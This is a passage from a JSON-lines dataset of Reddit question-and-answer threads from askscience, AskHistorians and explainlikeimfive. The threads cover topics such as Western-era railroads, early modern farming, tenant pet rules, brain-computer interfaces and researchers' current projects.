Adding fat to the ground meat is simple math from there and its \"watering down\" to a desired ratio usually for burger meat.  ", "I used to work on large scale grinding systems for hamburger and sausage factories.  \n\nOne particular system had a tank of pure fat and ground up pigs with a somewhat know lean percent.   When the ground hog traveled across the factory on a conveyor it passed a big optical sensor.  It used UV light to measure the lean point OKly. Then as much pure fat was pumped in to the mixture as allowed.   I could go on about the meat factories but y'all might stop eating sausage.  That's not the point.  Sausage is a gift from god.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "2bqovd", "title": "A history of cognitive science?", "selftext": "I am looking for a good history of the field of cognitive science or some kind of analysis of cog sci with a historical bent. I am aware of Margaret Boden's *Mind as Machine*, although I am put off by the length and density of it. Is there any similar book that is a bit slimmer and more readable? I studied some psychology with a heavily cognitivist bent in college, so it is not necessary for the book to be intro level. Just something that's shorter than *Lord of the Rings* or *War and Peace*.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2bqovd/a_history_of_cognitive_science/", "answers": {"a_id": ["cj7zpzu"], "score": [2], "text": ["[Fractured Minds](_URL_0_) was a book that was assigned during a graduate level clinical neuropsychology course I took. I got a doctorate in neuroscience and I thought this was the best introduction book to cognitive neuroscience I've read. It goes case-by-case through interesting case studies and phenomenons of the brain behavior relationship. There's even a followup that was written but I haven't read it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.amazon.com/Fractured-Minds-Case-Study-Approach-Neuropsychology/dp/0195171365/ref=sr_1_14?s=books&amp;ie=UTF8&amp;qid=1406337864&amp;sr=1-14&amp;keywords=neuropsychology"]]}
{"q_id": "d0flm4", "title": "I'm writing a \"Western\" and struggling to find accurate maps and reports of railroads.", "selftext": "I've extensively studied European History but no clues on American History, so sorry for sounding dumb.\nI need to define the setting of a \"Western\" screenplay I'm co-writing.\nThe idea is to have a character travel by train as far as possible, and then travel by horse (cue the usual Western setting).\nThis would mean the railroads aren't completed yet, there's actually cities where he comes from and still (semi)wild lands where he's travelling to.\nI've tried to do some research but there's limited sources in my city that cover that period. My understanding is that this could happen in the 19th Century but before the Civil War?\nWhat sort of year could that be? Is it plausible?\nAnd what cities or geographical areas should I look into?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/d0flm4/im_writing_a_western_and_struggling_to_find/", "answers": {"a_id": ["ez9bth0", "eza9q7q"], "score": [13, 4], "text": ["If you need to know exactly what was in existence and when, Jeremy Atack has complete geocoded rail maps for the United States, by year.  [_URL_0_](_URL_0_) This may be overkill, but it tells you exactly where the rails were, down to a fairly absurd level of precision. There are also files for canals and such if you want even more completeness.", " > My understanding is that this could happen in the 19th Century but before the Civil War?\n\nPretty much any time prior to 1900 is still plausible. The first transcontinental railroad connecting west coast to east coast wasn\u2019t completed until 1869, half a decade after the Civil War. And even after that it was a single thin ribbon. Someone going to Salt Lake City or Denver would take the railroad to Ogden or Cheyenne and then spend a day or more riding horseback to their final destination. Someone heading a bit more distant like Animas City (Durango) Colorado or Butte Montana could have weeks of riding ahead of them once they left the rail. \n\nRail development in the West was uneven to say the least. If you take a look at [this map of rail in 1890](_URL_0_) from the David Rumsey collection, you\u2019ll see even in the last decade of the 19th century, there were still holes in the rail network, and plenty of places that are still 100 miles or more from rail-lines. Though by then, they do tend to be the very harshest of environments: deserts and mountains. \n\nMost westerns are set between 1865 and 1895 as the rails where reaching into the frontier regions. You could go earlier. But then you\u2019re talking about truly unsettled (by caucasians) lands. The late 1840s into the 1850s are when most western states were getting their first real towns. For that matter, Idaho didn\u2019t get their first permanent settlement (Franklin) until 1860. Anything before the Civil War means you\u2019re talking about weeks to months of travel from the railroads to the west. Any time after 1890 and most places are within a day or two of a rail station. So I\u2019d suggest focusing around 1870. With /u/IconicJester \u2018s link you should be able to find a place that has the right amount of disconnectedness you\u2019re looking for,"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://my.vanderbilt.edu/jeremyatack/data-downloads/"], ["http://www.davidrumsey.com/maps1140084-30557.html"]]}
{"q_id": "4ayctm", "title": "Early modern (15/16th century) European illustrations depict farms as being very packed in, with an enormous variety of crops and animals growing very close together. Were farms actually like this i.e diverse, self-sufficient, and did people's diets reflect this?", "selftext": "[Here's an example of](_URL_2_) what I mean. Also they almost always show someone chasing off or shooting birds- some things never change. Also [this one](_URL_0_), and [also this](_URL_1_).\n\nI should also point that of course the farms would not literally have a herd of cows crammed right in against sheep or whatever- more that say a dozen or so crops would be grown in a single 50 acre area. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4ayctm/early_modern_1516th_century_european/", "answers": {"a_id": ["d14mjh4"], "score": [100], "text": ["There's enough material in this question for a good-sized thesis. I have attempted to distill it down into a few paragraphs. I've found several books I now need to buy in the process, which is always good. :)\n\nThe 15th and 16th Centuries featured slow, gradual change in agriculture in Europe. People who worked on the land were differentiated by wealth much more at the end of the 16th century than they were at the beginning of the 15th, mostly due to consolidation of farming land, but you'd be hard put to point at a particular year or even decade and say that things changed then. Agricultural output increased, but this was in large part due to new land - forest or fen cut back, and in the Netherlands, land reclaimed from the sea. There's also some claim that there was an increased tempo of change toward the end of the period, possibly even constituing a sort of mini-agricultural revolution from 1560 onward, although I'm not completely convinced. \n\nThe following is generalised almost to the point of uselessness, to be honest, but here goes anyway. A 50-acre farm would have been a fairly comfortably sized one - with the average yield-seed ratios of the era (which are absolutely awful by modern standards, hovering around 4:1), 20 acres, mostly under grain, was just about enough to sustain a family of 5 (and in most areas, these are the smallest farms for which records exist). In a good year, on good soil, that could rise as far as 8:1, but more likely 6:1. And in a bad year, well, you were lucky to get your seed back. There were several periods where a few bad years came together - the mid 1540s and the late 1590s were very notable for this, and localised famines were the immediate result. Inefficient markets and slow transport meant that importing food from unaffected areas wasn't really possible. Toward the end of the 15th century, though, market movements were improving, and particularly in England, wool was a good cash option, so there's a movement then from arable to pasture land.\n\nThe ideal on 50 acres would probably have been to have a mixed farm; a good area under grain, assorted livestock and a variety of other crops. However, geography can militate against this - if you have good, fertile loam, you're not going to turn it into pasture grazing land (although you might have meadows for hay), and if you have thin, scrubby soil over shale hills, you can't do anything *but* turn it into grazing lands. Forest, marsh, coastal areas, and the presence or absence of rivers also have lots of effects - while water can be diverted (and very often was, with millraces and all manner of artificial streams) to get it to animals, it can't be made to run uphill - no pumps. So if you were grazing sheep on dry-ish hills, they needed to be herded down to water every day, probably a couple of times. Forest gives you firewood, and also foraging for pigs, but is otherwise land you can't put to other uses, and through most of northern Europe in these periods, could be home to wolves and bears^(1).\n\nHowever, mixing it up as much as you could gave you a bit of bulwark against the famine years. Assuming an ability to do that: barley, oats, wheat and legumes were grown on almost any farm. Rye was less frequent in the southern end of Europe, and more so in the northern end. Maslin, a period practice of growing different grains all mixed up in one field also happened (and that makes it quite hard to estimate yields). Onions, carrots and other roots, as well as brassicas, were the domain of kitchen gardens rather than full fields. \n\nThe fact that farms could be mixed didn't mean they were, though. Campbell and Overton (in the sources, below), point to a few farms in Norfolk that were 80% or more under barley for long periods - which can't have been great for the soil. And the other 20% would arguably have been fodderage and pasture for the horses (which were replacing oxen in all but the least progressive areas by the 14th century) necessary for ploughing for and transporting all that barley. \n\nIn terms of livestock, partly due to the cash value of wool, sheep moved from being a peasant stock to being a demesne stock - that is, they were kept directly by the owners of the bigger estates, rather than being owned by the peasants with wool passed on in rent. Pigs were everywhere - not in huge numbers, but everywhere. Cattle were more used for dairy than meat, but because of that, were nearly a necessity on any large farm - you need milk and butter and cheese. And chickens were probably pretty frequent too - capons (castrated roosters) on bigger farms, but mostly just everywhere and underfoot. They're not much accounted for in farming records, but they're there in recipes and other accounts. And in addition to the chickens, you have dovecotes, the introduction of rabbits to England around the 13th century as meat animals, semi-wild deer, and a wide assortment of other things. \n\nSo to give a vague conclusion before this gets completely out of hand, yes, late medieval/early modern farms were usually pretty mixed, but *could* be specialised. Specialisation probably happened more in otherwise wealthy areas like Norfolk, because people there weren't living on so much of a knife-edge of potential famine.\n\n**Sources:**\n\nSteve Hindle, 'Rural Society' in Beat Kumin, *The European World 1500-1800*, 2009.\n\nGrenville G. Astill, John Langdon, *Medieval Farming and Technology: The Impact of Agricultural Change in Northwest Europe*, 1997.\n\nBruce M. S. Campbell and Mark Overton, 'A New Perspective on Medieval and Early Modern Agriculture: Six Centuries of Norfolk Farming c.1250-c.1850' in *Past  &  Present*, (1993)\nNo. 141, pp 38-105.\n\n----\n^(1) I know nothing about this bit, really. There've been no bears in Ireland for 10,000 years, and wolves were never really a major concern up until they were hunted to extinction. So apart from mentioning they were there, I've no idea how much of a threat, socially or in reality, they really were. In either case, they were vastly, vastly more of a threat to livestock than people."]}, "title_urls": [], "selftext_urls": ["http://cache2.asset-cache.net/gc/556464951-pastoral-scenes-15th-century-gettyimages.jpg?v=1&amp;c=IWSAsset&amp;k=2&amp;d=PYBVq0jPHTHUVFwJLhESgi8508xeTkjC5DSh4zEkmn6giBHwk%2FOgjwEorfTsQB5E", "http://l7.alamy.com/zooms/6ff74c94065b4c4abb6a6c6e4c843787/agriculture-farm-labour-field-peasants-doing-field-work-woodcut-from-db3r4y.jpg", "http://www.dbnl.org/tekst/prev002prin01_01/prev002prin01ill426.gif"], "answers_urls": [[]]}
{"q_id": "3d0evs", "title": "why as a tenant i am not allowed to keep pets, but children are fine?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3d0evs/eli5_why_as_a_tenant_i_am_not_allowed_to_keep/", "answers": {"a_id": ["ct0mr8s", "ct0n1yk", "ct0n793", "ct0obi3", "ct0ol5y", "ct0pmve", "ct0pyp5", "ct0qlsd", "ct0t1yb", "ct0t4zc", "ct0tkph", "ct0tlve", "ct0uohl", "ct0up4m", "ct0z69l", "ct11ajk", "ct18y9y", "ct193qj"], "score": [53, 13, 82, 6, 15, 768, 14, 82, 4, 51, 4, 11, 16, 4, 8, 2, 2, 3], "text": ["Procreation is generally seen as a right. Pet ownership is not.\n\nAlthough some areas used to (and probably still do) permit adults-only building complexes where children are not permitted. \n", "Pets are a potentially uncontrolled source of liability to the landlord and annoyance or danger to the other tenants.  While children can be annoying and messy, children do not typically: defecate or urinate on the floor, shed, bring bugs/vermin into the building, get left alone for hours loudly whining/howling/yipping, bite other tenants.  Pets, especially dogs, often do.  ", "People are allergic to animals, and usually not allergic to children.\n\nIf you have a pet and then move out, it will take a long time to properly remove all of the pets skin cells and hair and stuff that is ingrained into the furniture and carpet. \n\nSome people can have a really severe reaction to the smallest allergen, so some land lords may be extra serious about not having a pet, to avoid the hassle", "It's not socially acceptable to tell someone they can't have kids. Also, an adults only apartment building severely limits a landlords customer base. ", "You don't tend to leave children unattended in the flat when you're at work. That's when pets cause damage to the property by scratching,  biting, peeing and pooing.\nit's very difficult to put right at the end of tenancy and as much as people who have dogs don't think they leave a smell, they do. In two of my lets I allow pets, but not in the third one as its not suitable , but insistant on proper carpet cleaning at end of tenancy. \nRenting to pet owners also tends to be a more stable income stream in my experience. ", "It's actually very simple.  Familial status is a protected class, the same way race, religion, gender, and age is.  It is against the law to refuse housing to someone based on any of these classes.\n\n_URL_0_\n\nNow, here is the fun part.  It is not illegal to discriminate against someone for a non-protected reason.  Which means, if you own a pet, play an instrument, or smoke, I can refuse you housing and can tell you that's why I'm doing it.\n\nI was an apartment manager and we had had a problem where a couple tenants, who were lawyers, sued or made frivolous legal complaints often.  The property management company said fine, we are not renting to lawyers anymore.  I thought that sounded crazy and illegal.  Turns out, it isn't.  Your choice of profession is not a protected class... and neither is your decision to own a pet.\n\nYour laws may vary by state and country.  Other protected classes on a local level include things such as marital status and sexual orientation.", "Because not allowing children would mean you severely limit the number of tenants who'd want to use your building", "I'm gonna go out on a limb here - Because they're human beings?", "In Canada you can limit by age under strata rules.   But that only applies to the owner of the suite.  If the suite is rented you can not discriminate on age. \n\nThe strata council could fine the owner every month but the owner wouldn't be allowed to evict. ", "Also make sure to check out your local/regional laws and bylaws. \n\nHere in Ontario (Canada), a no-pet clause is not allowed to be enforced. Your landlord can have one, but there's absolutely nothing they can do if you go out and get a pet the day you move in. Also, here landlords aren't allowed to ask for a deposit, just first and last month's rent. The Ontario Landlord and Tenant Act is a fine piece of legislation, for renters at least.", "Landlord here:  ever try to get cat piss smell out of carpet? ", "This actually varies depending on where you are. In Ontario, Canada, a \"no pet\" clause in a lease is void and unenforceable. You can be evicted because of your pet only if they are dangerous, cause allergic reactions, or cause problems for other tenants or the landlord.", "Ex landlord and super pet lover here (I have nine assorted critters).  The reason I limited or did not allow renters to own pets was the damage an unsupervised pet or pets may cause to the property and I had lots of pet damage before deciding not to allow pets or limiting to a cat, fish, and some reptiles (no large tortoises, monitor lizards etc.).\nPeople would leave their pet at home for 9 to 10 hours a day.  Several of the unsupervised pets tore up the carpet, chewed walls, broke through doors...the expense just got too much and usually didn't cover their deposit so I had to limit my exposure to the damage and trauma of trying to get compensated.", "We are landlords in the UK, with us it really depends on the property and people. We won't allow dogs/cats in small flats because we don't think it is fair to the animals, and also disturbance to others. In a house with a garden then fine if the owners seem sensible. We like to visit to cuddle cats and fuss dogs! Ditto children though (but we wouldn't bother to visit to fuss children. ...) we would pick people without children for smaller flats because of annoyance to others. We look at the overall view of 1. Will people pay ok, 2. Will they annoy other people, 3. Will they look after the property.", "In ontario, it is prohibited to not allow pets into a rental property unless there are allergies in the unit or the pet \"prevents enjoyment\" of the unit.", "Also, in theory you don't leave your children alone unless they are old enough, pets you do and they have more potential to tear and stink the place up. Just a thought...", "Why do people compare children and pets? Children are humans. They are infinitely more important than your dog.", "The Fair Housing Act prohibits landlord discrimination based on, among other things, familial status, which protects families with children. Aside from protected groups (other examples are based on race or disabilities), landlords are pretty free to choose the tenants they wish. Obviously, this is often based on things like ability to pay rent (which is why credit checks are often required), chances of causing disturbances or keeping the peace, etc. Because of the potential for damage, costs, and liability that go along with pets(since landlords are liable for things happening in common areas or the nuisance behavior of their tenants), pets are often prohibited as well. \n\nThese laws are all based in statute, though there may be some constitutional protection based on the group at issue. So essentially, it's that way because \"we\" (our legislature) says so. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://en.wikipedia.org/wiki/Protected_class"], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "3fr1ox", "title": "Dubrovnik and Ragusa:Italic or Slav?", "selftext": "I am currently in the old city of Dubrovnik, which might be better known to students of European history as Ragusa. Public monuments and documents are in an Italian dialect up until the time of the city being part of Austria. But to what extent was the city writing and speaking in Italian or Serbian/Croatian in the time of the Republic of Ragusa? Was there a change and when/why? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3fr1ox/dubrovnik_and_ragusaitalic_or_slav/", "answers": {"a_id": ["ctrdjbe", "ctrgj9h"], "score": [3, 2], "text": ["I don't know that there's any clear information on when it changed, but the Republic of Ragusa was certainly Croatian majority in population by the start of the 15th century. Latin was official until 1472 at which point it became the Romantic Dalmatian language, which remained until the fall of the Republic - Slavic languages were banned in the grand council.\n\nIt is worth noting that almost all of the aristocracy in the Republic of Ragusa as far back as its independence from Venice in 1358 to the end of the Republic in 1814 (when the grand council met for the last time) had Dalmatian family and Christian names.\n\nSource: R Anthony Lodge - Language contact and minority languages on the littorals of Europe", "Latin, Dalmatian and Venetian were languages of state, law and trade. Croatian was language of common people. Nobility was bilingual (or multilingual). \n\nIn comparison, the language of Croatian parliament (in Zagreb) was also Latin until 1847. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2yyxdf", "title": "What methods exist or are being researched for non-intrusive neural interfaces?", "selftext": "I'm very interested in possible applications of high-quality neural interfaces, especially given fMRI studies and neural prosthetics. However, I don't know much about potential technologies (and current technologies) for non-invasive (i.e. non-surgical) neural interfaces. \n\nWhat methods exist, and which are being developed but look reasonably hopeful?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2yyxdf/what_methods_exist_or_are_being_researched_for/", "answers": {"a_id": ["cpea78z", "cpek9rp", "cpf92lr"], "score": [5, 5, 2], "text": ["So I'm assuming something you can carry around with you, as opposed to fMRI. In that case you're looking at EEG or, maybe [fNIR (functional near-infrared spectroscopy)](_URL_6_) although neither is terribly portable at the moment. \n\nEEG has a notoriously crummy signal to noise ratio, so you really need to be able to grab onto some really strong signal. There are a couple that we can generate fairly reliably like the [P300](_URL_4_) which has been thought to occur when you detect something you're looking for. \n\nOf course, really what's happening with all of these BCI devices (most of the time) is *not* signal decoding. Rather, they just need to be able to reliably detect a signal that the user can reliably produce and to distinguish it (classify it) from other signals. They can then pair a signal with some command, like [selecting a letter on a screen](_URL_3_), [playing pong](_URL_0_), or [controlling a wheelchair](_URL_1_). ([This](_URL_5_) pong video isn't as long, but you can see that you can get much more sensitive and faster control. And [this](_URL_2_) is an older video of the letter selection).\n\nJust search youtube or google for brain computer interface (BCI) and you'll find tons of stuff. If I recall, there was at least one video game company developing a cheap, wearable EEG cap for controlling things in games with maybe 3-12 electrodes?\n\nIf there's a more specific question you had in mind, I can try to answer it.", "I like to draw people's attention to the spatial and temporal nature of signal processing in the brain, and that of the various methods used to measure it. Neurons in the cerebral cortex exist over its 250,000 mm^2. The signal changes on roughly a millisecond time scale every few tens of microns. HOWEVER, the signal in a cortical column had a lot of redundancy, so we could make a great neural interface if we could get a good sample every 500 microns in a grid, or with a million samples that operate on a millisecond time scale (I would actually prefer 0.1 msec, but make it 1 msec for argument's sake). That's about a million bits per millisecond, or a billion baud rate. \n\nNow, let's talk fMRI. The signal operates on roughly a 1 per mm^2 scale, which is awesome, for 250,000 samples in the cerebral cortex. However, the underlying signal, BOLD, is roughly 4-5 times less dense than that in its expression. We are actually measuring blood flow changes (and oxygenation), not neural activity. So now we are down to 1000 samples. And the blood flow changes every few seconds and has a nasty noise band called vasomotion at 0.1 Hz. So we have a few hundred samples per second. We can give them 4 bits each (being generous here) and we have about a thousand baud. But factor in vasomotion, and the need to load up the magnetic field to watch the decay, and the reality is fMRI is under 100 baud. \n\nEEG is another great technology. Awesome temporal resolution, but very crappy spatial resolution if performed extracranially. Maybe 16 spatial samples at 1 msec resolution, or 16 kbaud. However, factor in electrical noise from emg/eog signals, and you are again in the few hundred baud range. \n\nTo get a \"matrix\" like interface, you are going to need a noninvasive interface that accesses a brain-dependent signal on a high temporal and spatial scale. I think we could do nice work in the several thousand baud range. It would not be matrix-like, but it could provide a reasonable proxy. \n\nThe best brain machine interfaces today operate in the few dozen baud range.  They are based on the \"good\" electrodes in a sample of several hundred implanted electrodes, and can do a nice job on simple tasks with 2-3 degrees of freedom. These interfaces have largely not improved since 1998 and are highly invasive. fMRI and EEG interfaces operate with an order of magnitude lower baud rate. The capabilities I outlined above are limited by noise sources that are troublesome. ", "I'd like to reword the question and divert it somewhat. Are there research pathways in process that duplicate the capabilities of direct neural interfaces through combinations of sensors and transmitting devices which simulate the capability to directly interface with our neurological network?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=suKTlrzaU9g", "https://www.youtube.com/watch?v=UUcubnQML9s", "https://www.youtube.com/watch?v=41BTX8rVF_c", "https://www.youtube.com/watch?v=yI_8cx4m0Is", "https://en.wikipedia.org/wiki/P300_%28neuroscience%29", "https://www.youtube.com/watch?v=qCSSBEXBCbY&amp;index=3&amp;list=PL2629488FEE5D3ED3", "https://en.wikipedia.org/wiki/Functional_near-infrared_spectroscopy"], [], []]}
{"q_id": "m5t0o", "title": "fire", "selftext": "What part of oxygen is burning, and what gives a flame its boundaries? Why don't candle flames get as big as bon fires?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/m5t0o/eli5_fire/", "answers": {"a_id": ["c2yen14", "c2yeqm2", "c2yen14", "c2yeqm2"], "score": [2, 2, 2, 2], "text": ["Oxygen is very reactive.  When it combines with another molecule, it usually gives off heat.  This heat in turn makes it easier for other oxygen molecules to combine with nearby molecules.\n\nEverything gives off light according to how hot it is.  At normal temperatures, this light is invisible infrared.  But at around 1500 C, the light becomes visible, and as the temperature increases, the light changes from red to yellow to blue.\n\nSo when you see a flame, you are seeing hot gas at different temperatures.  The \"boundaries\" are where the temperature cools to the point to where visible light is no longer being emitted.", "[look here](_URL_0_)\n\n[and here](_URL_1_)", "Oxygen is very reactive.  When it combines with another molecule, it usually gives off heat.  This heat in turn makes it easier for other oxygen molecules to combine with nearby molecules.\n\nEverything gives off light according to how hot it is.  At normal temperatures, this light is invisible infrared.  But at around 1500 C, the light becomes visible, and as the temperature increases, the light changes from red to yellow to blue.\n\nSo when you see a flame, you are seeing hot gas at different temperatures.  The \"boundaries\" are where the temperature cools to the point to where visible light is no longer being emitted.", "[look here](_URL_0_)\n\n[and here](_URL_1_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/explainlikeimfive/comments/lu0ym/what_is_fire/", "http://www.reddit.com/r/explainlikeimfive/comments/ljy05/eli5_how_fire_works/"], [], ["http://www.reddit.com/r/explainlikeimfive/comments/lu0ym/what_is_fire/", "http://www.reddit.com/r/explainlikeimfive/comments/ljy05/eli5_how_fire_works/"]]}
{"q_id": "79977x", "title": "why do newspapers clean windows/mirrors/etc better than anything else that is made for doing such things?", "selftext": "I've always used newspapers with windex, and it works amazing as far as leaving any  glass surfaces crystal clear with zero streaks. But I've seriously never been able to figure out why. Is it the paper? Is it the ink they use? What gives, smart people of Reddit? Thanks in advance!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/79977x/eli5_why_do_newspapers_clean_windowsmirrorsetc/", "answers": {"a_id": ["dp04yp0", "dp07a17", "dp0mtpw"], "score": [10, 3, 4], "text": ["Never heard of this before, googled, and now see it is a thing. \n\nNewsprint is very rough, meaning it is not smooth, but has tons of imperfections. Imperfections means debris can get trapped in it. Much like a shamwow or magic eraser, it is all about having a bunch of imperfections that can grab debris.\n\nNews print is doing the same.\n\nAnd no, the ink has nothing to do with it. If anything, the ink makes it less than ideal to use to clean.", "Not modern newspapers. The ink they used to use contained lampback, which is a great glass polisher. Modern inks are latex which smears horribly when you use it on glass.\n\nWindex is also a pretty big ripoff, chemically speaking.", "Paper is made from Cellulose. Cellulose is hydrophilic; it attracts water molecules.  with a rag you're absorbing the liquid, but it's only doing so to ap oint, when its become saturated and can't move any more liquid, causing the streaks.\n\nCellulose on the other hand, actively pulls water molecules off a surface. And since its working at a cellular level, that means it can get into the microscopic pits and such that are all over glass surfaces (to small to see.) "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3buekl", "title": "Panelists, what are you working on?", "selftext": "I thought it might be fun for panelists to post a brief description of one of their current projects. Hopefully this serves to foster some more detailed discussion about your specialty.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3buekl/panelists_what_are_you_working_on/", "answers": {"a_id": ["csplsxk", "cspmqxk", "cspome2", "cspqwyc", "cspsrdp", "csptoxa", "cspvm5c", "cspwyby", "cspy4u8", "cspyjqd", "cspylht", "cspyzdx", "cspyzwi", "cspz0ue", "cspz4xb", "cspz5ms", "cspzae9", "cspzn0d", "csq0gws", "csq0v61", "csq18mg", "csq4azj", "csq50qi", "csq66vk", "csqaaoy", "csqg550", "csqigqy", "csqm03t", "csqmme7", "csqu7sb", "csqzv40", "csr1ptb", "csrhtn6", "csrlzbp", "css23x6", "csshboc", "csssq8o", "cssvx2x", "cst3qv6", "cst74zq", "ct44gix"], "score": [34, 23, 13, 12, 9, 13, 12, 7, 9, 5, 4, 8, 8, 6, 4, 3, 7, 3, 5, 4, 3, 4, 6, 8, 7, 4, 7, 5, 6, 8, 6, 7, 8, 4, 3, 3, 3, 3, 3, 3, 3], "text": ["I study human perception, particularly shape and object perception. One of the questions I am most interested in is -- how do we combine shape information across space and time into perceptual units? For example, suppose you see an animal running in the brush. At any given instant, you might only catch glimpses of its shape. Nevertheless, your perceptual experience is of a single animal whose shape you have been able to reconstruct from the partial information that was only gradually available. How do we do this?\n\nI study this by looking at much simpler cases of 2D shapes seen through slits or apertures. What features of the shapes are represented and how well? Do we encode and update the positions and velocities of edges? Their orientations? The texture? The acceleration? The color? Answering these questions in this special case can provide insight into the more general question of what aspects of a shape / object are represented (and how and when)! One question I'm interested in is how such representations emerge over time from a neural perspective -- what parts of the perceptual, representational hierarchy are active and when?\n\nI use a combination of psychophysics, computational modeling, fMRI and EEG to try to answer these questions.", "I'm working on what particle collisions at the LHC look like. For example take this physics process [involving the Higgs](_URL_2_) being produced from the fusion of two bosons (VBF) and figure out what the signal will actually look like in the detector.\n\nThe [Higgs itself can decay into a lot of things,](_URL_3_) like two Zs, two photons, two quarks, etc... but it can [also be produced by a lot of different](_URL_0_) so there are a lot of cool production/decay combinations for the Higgs we can look for.  \n\nSome physical theories predict that there is more than one kind of Higgs boson. The simplest models include more types such as h^\u00b1 charged higgs and H^0 the heavy higgs. Presumably, we have already found at least the light higgs if those models have any validity in nature.  \n\nThe VBF process I outlined earlier potentially becomes much more important if the heavy higgs has a mass around 1 TeV or approximately 10 times heavier than the light higgs. A key feature of that process is the outcome of two \"kicked\" quarks [which result in distinctive forward facing jets](_URL_1_) of particles which are the  turquoise cones in this picture. These jets are important because they balance the momentum of the collision, like billiard balls on a pool table. The two particle jets balance the momentum of the higgs decay which in this picture happens to be a muon (red), electron (blue) and some missing momentum from neutrinos.", "I am searching for close stellar companions to transiting exoplanet systems - in short, looking at stars (with planets) to see if there are other stars nearby.\n\nThere's two main reasons for this. Firstly, if the planet discovery team measured the light from two stars, rather than only one. This would cause the planet hosting star to appear too bright, and a lot of information about a transiting planet is derived from how much light it blocks as it passes in front of its star. It may also be that they've actually found a system that doesn't have a planet at all. A lot of other things can look like a planet passing in front of its star - essentially all they're looking for is something that gets bit dimmer every so often! If the light from such an object is blended with that of other stars, it can be very difficult to determine what's actually going on.\n\nThe other aim of the project is to try and understand how planets known as Hot Jupiters form. These are gas giants that are extremely close to their stars, and orbit in under a day in the most extreme cases! The current theory for planet formation is that planets are created in a dusty debris disc around young stars (the protoplanetary disc), but these discs should be thinned and eventually be cut off near the star. This would make it very hard to make a planet there - never mind a giant one! Therefore, we think Hot Jupiters form further out, and somehow move in.\n\nAnother part of the problem is that many Hot Jupiters orbit in odd directions around their stars - we expect the protoplanetary disc (and any planets that form in it) to orbit in the same direction as the star rotates, due to the star and disc forming from the same cloud of gas and dust. Many Hot Jupiters don't do this, with some are even orbiting backwards!\n\nSeveral ideas have been put forward to explain these two problems, most involving some sort of interaction with other planets or stars. If most Hot Jupiters are found to live in wide binary star systems (or not!), it will significantly help our understanding of how such planets are formed.", "I'm currently (as in, it's running in terminal right now) working on some code that will allow me to simulate the observations that will be made for a population of stars that may or may not have transiting exoplanets. The key thing I want to do is figure out how many planets can be found by different telescopes currently in production. So the idea is that I create a whole bunch of fake stars of different masses, then I populate them with a random number of planets, and create a fake light curves with transits that match the planets. [This](_URL_0_) is a nice visual of the concept, where the top is over time, and the bottom is when it's been phased so that you just see what would be one 'year' for the planet. In my case, there's not nearly as many points or as nice a light curve as Kepler generates.\n\nI'm then running some detection methods to try to figure out how to best detect planets when there's not many observations to work with.\n\nI apologize for any of that that seems a bit too jargony, I've been in a few days of meetings so my brain is still in that mode.", "I'm working on direct dark matter detection with the XENON experiment.\n\nWe focus on looking for [WIMP](_URL_0_) like particles using liquid xenon as our detection material. Liquid xenon has scintillation properties that mean it will release light, and electrons when a particle interacts with it. By placing this detector in a low background environment (in our case under a mountain in Italy) we can eliminate many events that may have been caused by cosmic rays etc. We then wait, and see if we have any excess events over what we would expect. If so, great we may have found dark matter, if not, then we set limits to how weakly interacting a WIMP would have to be to not be seen in our detector. \n\nWe have previously set limits with XENON100 (34kg of sensitive liquid xenon), and we are now in the process of building XENON1T (1T of sensitive liquid xenon) and I work on the research and development of different aspects of the detector such as the light sensors, and the liquid levelling system.", "Population geneticists are often interested in inferring something about the evolutionary history of a population based on DNA sequence variation. This is really hard, though, because \"evolution\" encompasses lots of different processes\u2013\u2013novel mutations that interact in various ways, natural selection, recombination, \"hitchhiking\" (where neutral or even deleterious mutations increase in frequency simply because they are close to a beneficial mutation, and recombination doesn't separate them), changes in population size, migration, and genetic drift, to name some.\n\nThe lattermost is somewhat pervasive. Essentially, most variation in populations is neutral or close to neutral: it doesn't affect an organism's fitness. Under genetic drift, neutral variation spreads (or fails to spread) through the population in a slow, diffusive manner, essentially because it gets lucky (or fails to get lucky). One generation, the individuals carrying a mutation might have more offspring than average: another generation, they might have fewer. It's random.\n\nIt's pretty widely accepted that this is the dominant force shaping neutral variation in most populations, and it's a major component of what we call \"neutral theory\". However, this leads to some head-scratching phenomena: for example, populations tend to be much less diverse than neutral theory would predict.\n\nOn the other hand, perhaps unsurprisingly, selection is often considered the most *interesting* of these forces. However, it's hard to be sure that the variation you're looking at is definitely a result of selection. Broadly speaking, we look for patterns that are unlikely to arise unless selection is driving genetic change, but it often happens that some other population-level phenomenon, like rapid demographic expansion, can yield many of the same patterns.\n\nWhat I've been trying to do for a few months is to develop a statistical test that is sensitive *only* to selection, not to demographic phenomena like population expansion. Many standard methods like Tajima's *D* won't tell you if a population is experiencing rapid growth or strong selection. The test I've developed relies solely on the shape of an inferred genealogy. By \"shape\", I mean only the branching pattern itself, not the lengths of any of the branches. In the genealogy of a rapidly adapting population, we expect some branches, the ones that correspond to very fit individuals, to give rise to large swathes of the extant population. Think of a \"Genghis Khan\"-esque individual (a Y chromosome that is believed to be Tem\u00fcjin's is present in around 1/8 of the male population in central Asia\u2013\u2013the Y chromosomal genealogy for that region might 